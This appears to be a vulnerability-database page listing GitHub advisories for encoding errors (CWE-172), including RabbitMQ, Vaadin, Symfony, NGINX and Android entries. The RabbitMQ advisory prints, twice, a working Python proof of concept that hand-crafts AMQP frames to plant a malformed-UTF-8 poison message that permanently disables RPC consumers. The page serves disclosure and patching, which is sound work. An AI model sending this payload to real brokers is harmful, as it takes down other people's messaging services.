CWE-172
Allowed-with-ReviewEncoding Error
Abstraction: Class · Status: Draft
The product does not properly encode or decode the data, resulting in unexpected values.
37 vulnerabilities reference this CWE, most recent first.
GHSA-6R94-X69X-63WH
Vulnerability from github – Published: 2022-05-17 03:42 – Updated: 2022-05-17 03:42decoder/ih264d_api.c in mediaserver in Android 6.x before 2016-08-01 mishandles invalid PPS and SPS NAL units, which allows remote attackers to cause a denial of service (device hang or reboot) via a crafted media file, aka internal bug 28835995.
{
"affected": [],
"aliases": [
"CVE-2016-3828"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-08-05T20:59:00Z",
"severity": "HIGH"
},
"details": "decoder/ih264d_api.c in mediaserver in Android 6.x before 2016-08-01 mishandles invalid PPS and SPS NAL units, which allows remote attackers to cause a denial of service (device hang or reboot) via a crafted media file, aka internal bug 28835995.",
"id": "GHSA-6r94-x69x-63wh",
"modified": "2022-05-17T03:42:16Z",
"published": "2022-05-17T03:42:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3828"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/external/libavc/+/7554755536019e439433c515eeb44e701fb3bfb2"
},
{
"type": "WEB",
"url": "http://source.android.com/security/bulletin/2016-08-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92221"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7822-RCF6-97FX
Vulnerability from github – Published: 2026-10-07 20:25 – Updated: 2026-10-07 20:25Summary
A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.
The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.
The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.
In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.
Details
ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75
ValueWriter.writeShortstr then rejects the result with an unchecked exception:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56
So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.
Two consumption paths are impacted:
-
RpcServer.mainloop()catches onlyInterruptedExceptionandShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 -
The pattern in the official tutorial (
basicConsume+DeliverCallback, echoingcorrelationIdand publishing toreplyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.
In both cases autoAck is false and the ack is never reached, so the message returns to the queue.
A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.
PoC
Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.
- Start a broker:
docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq
- Publish a message whose
correlation-idis 255 ×0xFF:
import socket, struct
def sstr(b):
if isinstance(b, str): b = b.encode()
return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a
QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)
def rf():
h = b""
while len(h) < 7: h += s.recv(7 - len(h))
t, ch, sz = struct.unpack(">BHI", h)
p = b""
while len(p) < sz: p += s.recv(sz - len(p))
s.recv(1); return t, ch, p
def wait(c, mi):
while True:
t, ch, p = rf()
if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]
s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
+ lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
+ struct.pack(">I", 0)))); wait(50, 11)
s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))
# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)
- Run a consumer using the tutorial pattern against
rpc.poison:
DeliverCallback cb = (tag, delivery) -> {
AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
.correlationId(delivery.getProperties().getCorrelationId()).build();
channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});
Observed:
java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1
The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.
Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.
Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.
Impact
Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.35.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.rabbitmq:amqp-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.36.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106122"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:25:29Z",
"nvd_published_at": "2026-10-06T19:17:43Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library\u0027s own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 \u00d7 `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n if isinstance(b, str): b = b.encode()\n return struct.pack(\"\u003eB\", len(b)) + b\ndef lstr(b): return struct.pack(\"\u003eI\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\"\u003eBHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\"\u003eHH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n h = b\"\"\n while len(h) \u003c 7: h += s.recv(7 - len(h))\n t, ch, sz = struct.unpack(\"\u003eBHI\", h)\n p = b\"\"\n while len(p) \u003c sz: p += s.recv(sz - len(p))\n s.recv(1); return t, ch, p\ndef wait(c, mi):\n while True:\n t, ch, p = rf()\n if t == 1 and struct.unpack(\"\u003eHH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\"\u003eI\", 0) + sstr(\"PLAIN\")\n + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\"\u003eHIH\", wait(10, 30)[:8]) # must echo broker\u0027s limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\"\u003eH\", cm) + struct.pack(\"\u003eI\", fm) + struct.pack(\"\u003eH\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\"\u003eH\", 0) + sstr(QUEUE) + b\"\\x02\"\n + struct.pack(\"\u003eI\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\"\u003eH\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\") # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\"\u003eHHQ\", 60, 0, 6) + struct.pack(\"\u003eH\", (1 \u003c\u003c 10) | (1 \u003c\u003c 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\"\u003eH\", 200) + sstr(\"done\") + struct.pack(\"\u003eHH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -\u003e {\n AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n .correlationId(delivery.getProperties().getCorrelationId()).build();\n channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -\u003e {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.",
"id": "GHSA-7822-rcf6-97fx",
"modified": "2026-10-07T20:25:29Z",
"published": "2026-10-07T20:25:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106122"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
},
{
"type": "PACKAGE",
"url": "https://github.com/rabbitmq/rabbitmq-java-client"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers"
}
GHSA-8VFW-V2JV-9HWC
Vulnerability from github – Published: 2021-06-28 16:52 – Updated: 2021-06-24 19:39URL encoding error in development mode handler in com.vaadin:flow-server versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.
- https://vaadin.com/security/cve-2021-33604
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.1"
},
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:flow-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.9"
},
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:flow-server"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "6.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-24T19:39:30Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "URL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604",
"id": "GHSA-8vfw-v2jv-9hwc",
"modified": "2021-06-24T19:39:30Z",
"published": "2021-06-28T16:52:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vaadin/flow/security/advisories/GHSA-8vfw-v2jv-9hwc"
},
{
"type": "WEB",
"url": "https://vaadin.com/security/cve-2021-33604"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Reflected cross-site scripting in development mode handler in Vaadin"
}
GHSA-C99R-67X4-WHJ6
Vulnerability from github – Published: 2021-06-28 16:56 – Updated: 2021-10-05 17:29URL encoding error in development mode handler in com.vaadin:flow-server versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.
- https://vaadin.com/security/cve-2021-33604
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 14.6.1"
},
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 19.0.8"
},
"package": {
"ecosystem": "Maven",
"name": "com.vaadin:vaadin-bom"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "19.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-33604"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-24T19:31:53Z",
"nvd_published_at": "2021-06-24T12:15:00Z",
"severity": "LOW"
},
"details": "URL encoding error in development mode handler in `com.vaadin:flow-server` versions 2.0.0 through 2.6.1 (Vaadin 14.0.0 through 14.6.1), 3.0.0 through 6.0.9 (Vaadin 15.0.0 through 19.0.8) allows local user to execute arbitrary JavaScript code by opening crafted URL in browser.\n\n- https://vaadin.com/security/cve-2021-33604",
"id": "GHSA-c99r-67x4-whj6",
"modified": "2021-10-05T17:29:12Z",
"published": "2021-06-28T16:56:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vaadin/platform/security/advisories/GHSA-c99r-67x4-whj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33604"
},
{
"type": "WEB",
"url": "https://github.com/vaadin/flow/pull/11099"
},
{
"type": "WEB",
"url": "https://github.com/vaadin/flow"
},
{
"type": "WEB",
"url": "https://vaadin.com/security/cve-2021-33604"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Reflected cross-site scripting in development mode handler in Vaadin 14, 15-19"
}
GHSA-CX7H-H87R-JPGR
Vulnerability from github – Published: 2024-07-25 16:38 – Updated: 2025-01-21 18:18gix-attributes (in state::ValueRef) unsafely creates a &str from a &[u8] containing non-UTF8 data, with the justification that so long as nothing reads the &str and relies on it being UTF-8 in the &str, there is no UB:
// SAFETY: our API makes accessing that value as `str` impossible, so illformed UTF8 is never exposed as such.
The problem is that the non-UTF8 str is exposed to outside code: first to the kstring crate itself, which requires UTF-8 in its documentation and may have UB as a consequence of this, but also to serde, where it propagates to e.g. serde_json, serde_yaml, etc., where the same problems occur.
This is not sound, and it could cause further UB down the line in these places that can view the &str.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix-attributes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-25T16:38:42Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "`gix-attributes` (in [`state::ValueRef`](https://github.com/Byron/gitoxide/blob/gix-attributes-v0.22.2/gix-attributes/src/state.rs#L19-L27)) unsafely creates a `\u0026str` from a `\u0026[u8]` containing non-UTF8 data, with the justification that so long as nothing reads the `\u0026str` and relies on it being UTF-8 in the `\u0026str`, there is no UB:\n\n```rust\n// SAFETY: our API makes accessing that value as `str` impossible, so illformed UTF8 is never exposed as such.\n```\n\nThe problem is that the non-UTF8 `str` **is** exposed to outside code: first to the `kstring` crate itself, which requires UTF-8 in its documentation and may have UB as a consequence of this, but also to `serde`, where it propagates to e.g. `serde_json`, `serde_yaml`, etc., where the same problems occur.\n\nThis is not sound, and it could cause further UB down the line in these places that can view the `\u0026str`.\n",
"id": "GHSA-cx7h-h87r-jpgr",
"modified": "2025-01-21T18:18:40Z",
"published": "2024-07-25T16:38:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Byron/gitoxide/issues/1460"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/issues/1460"
},
{
"type": "WEB",
"url": "https://github.com/rustsec/advisory-db/commit/884aaa1646132bc3a27ba058197d6ef039bec294"
},
{
"type": "PACKAGE",
"url": "https://github.com/Byron/gitoxide"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0359.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "The kstring integration in gix-attributes is unsound"
}
GHSA-F67C-8P6V-X8XG
Vulnerability from github – Published: 2022-05-14 03:37 – Updated: 2022-05-14 03:37An issue was discovered in armadito-windows-driver/src/communication.c in Armadito 0.12.7.2. Malware with filenames containing pure UTF-16 characters can bypass detection. The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI. This happens because characters that cannot be converted from Unicode are replaced with '?' characters.
{
"affected": [],
"aliases": [
"CVE-2018-7289"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-21T18:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in armadito-windows-driver/src/communication.c in Armadito 0.12.7.2. Malware with filenames containing pure UTF-16 characters can bypass detection. The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI. This happens because characters that cannot be converted from Unicode are replaced with \u0027?\u0027 characters.",
"id": "GHSA-f67c-8p6v-x8xg",
"modified": "2022-05-14T03:37:04Z",
"published": "2022-05-14T03:37:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7289"
},
{
"type": "WEB",
"url": "https://github.com/armadito/armadito-windows-driver/issues/5"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44169"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F7P3-3696-M8FM
Vulnerability from github – Published: 2022-05-17 03:42 – Updated: 2022-05-17 03:42codecs/hevcdec/SoftHEVC.cpp in libstagefright in mediaserver in Android 6.0.1 before 2016-08-01 mishandles decoder errors, which allows remote attackers to cause a denial of service (device hang or reboot) via a crafted media file, aka internal bug 28816956.
{
"affected": [],
"aliases": [
"CVE-2016-3827"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-08-05T20:59:00Z",
"severity": "HIGH"
},
"details": "codecs/hevcdec/SoftHEVC.cpp in libstagefright in mediaserver in Android 6.0.1 before 2016-08-01 mishandles decoder errors, which allows remote attackers to cause a denial of service (device hang or reboot) via a crafted media file, aka internal bug 28816956.",
"id": "GHSA-f7p3-3696-m8fm",
"modified": "2022-05-17T03:42:16Z",
"published": "2022-05-17T03:42:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3827"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/av/+/a4567c66f4764442c6cb7b5c1858810194480fb5"
},
{
"type": "WEB",
"url": "http://source.android.com/security/bulletin/2016-08-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92221"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6R5-95CX-MPP9
Vulnerability from github – Published: 2026-10-14 15:32 – Updated: 2026-10-14 15:32Description NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_v3_module module. When using HTTP/3 with
proxy_request_buffering on directive, an unauthenticated attacker may be able to inject data in the proxied request.
Impact
This vulnerability may allow remote attackers to
inject data in the proxied request. There is no control plane exposure; this is a data plane issue only.
Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2026-95101"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-14T15:17:27Z",
"severity": "MODERATE"
},
"details": "Description\nNGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_v3_module module. When using HTTP/3 with \n\nproxy_request_buffering on\u00a0directive,\u00a0an unauthenticated attacker may be able to inject data in the proxied request.\n\nImpact\n\n\nThis vulnerability may allow remote attackers to \n\ninject data in the proxied request.\u00a0 There is no control plane exposure; this is a data plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-g6r5-95cx-mpp9",
"modified": "2026-10-14T15:32:30Z",
"published": "2026-10-14T15:32:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95101"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000162613"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H5X3-XFC9-M39H
Vulnerability from github – Published: 2026-06-15 17:33 – Updated: 2026-06-15 17:33Description
Symfony\Component\Routing\Generator\UrlGenerator::doGenerate() percent-encodes . and .. path segments so that the generated URL still resolves to the originating route after RFC 3986 §5.2.4 dot-segment removal (which strict RFC-3986 consumers — routers, reverse proxies, HTTP clients — perform before percent-decoding).
The encoding was implemented as strtr($url, ['/../' => '/%2E%2E/', '/./' => '/%2E/']) plus a trailing-segment fixup. strtr advances past the trailing / of each match, so the next dot-segment in a chained sequence was left unescaped:
| Input | Output (before fix) | Expected |
|---|---|---|
/../../../ |
/%2E%2E/../%2E%2E/ |
/%2E%2E/%2E%2E/%2E%2E/ |
/foo/../../../bar |
/foo/%2E%2E/../%2E%2E/bar |
/foo/%2E%2E/%2E%2E/%2E%2E/bar |
When a route exposes a parameter constrained by a permissive requirement (.+, .*, or similar) that accepts dots and slashes, attacker-controlled chained .. or . segments produce a generated URL that, under strict RFC 3986 normalization, collapses to a different path than the originating route. The Twig path() / url() helpers and any server-side use of UrlGenerator are affected. Same class of route round-trip integrity issue as CVE-2026-45065.
Note: WHATWG-conformant browsers treat %2E/%2E%2E as dot-segments during URL parsing, so the encoding never protected browser-side traversal. The defense exists for RFC-3986-conformant consumers; restoring it for chained segments closes the gap there.
Resolution
UrlGenerator now matches every /. or /.. dot-segment in a single left-to-right preg_replace_callback pass using a lookahead that does not consume the trailing /, so adjacent dot-segments are encoded correctly.
The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.0 and 8.1).
Credits
Symfony would like to thank Alex Pott for reporting the issue and Nicolas Grekas for providing the fix.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/routing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.53"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/routing"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/routing"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/routing"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.53"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.41"
}
],
